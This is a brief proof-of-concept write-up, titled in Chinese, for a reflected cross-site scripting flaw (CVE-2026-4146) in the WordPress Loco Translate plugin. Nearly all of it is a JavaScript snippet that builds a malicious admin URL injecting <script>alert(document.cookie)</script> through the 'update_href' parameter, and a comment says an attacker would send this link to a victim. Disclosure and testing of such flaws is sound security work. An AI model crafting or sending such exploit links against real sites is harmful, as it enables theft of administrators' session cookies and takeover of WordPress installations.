CVE-2026-4146: WordPress Loco Translate插件反射型XSS漏洞

// Proof of Concept for CVE-2026-4146 // The vulnerability exists in the 'update_href' parameter. // Attackers can inject malicious scripts via this parameter. // Example Payload to demonstrate script execution var payload = "<script>alert(document.cookie)</script>"; // Constructing the malicious URL (Path may vary based on installation) // The parameter 'update_href' is vulnerable to XSS var targetUrl = "http://target-wordpress-site.com/wp-admin/admin.php?page=loco-translate&action=config&update_href=" + encodeURIComponent(payload); // In a real attack scenario, the attacker would send this link to a victim. // When the victim clicks, the script executes in their browser context. console.log("Exploit URL: " + targetUrl);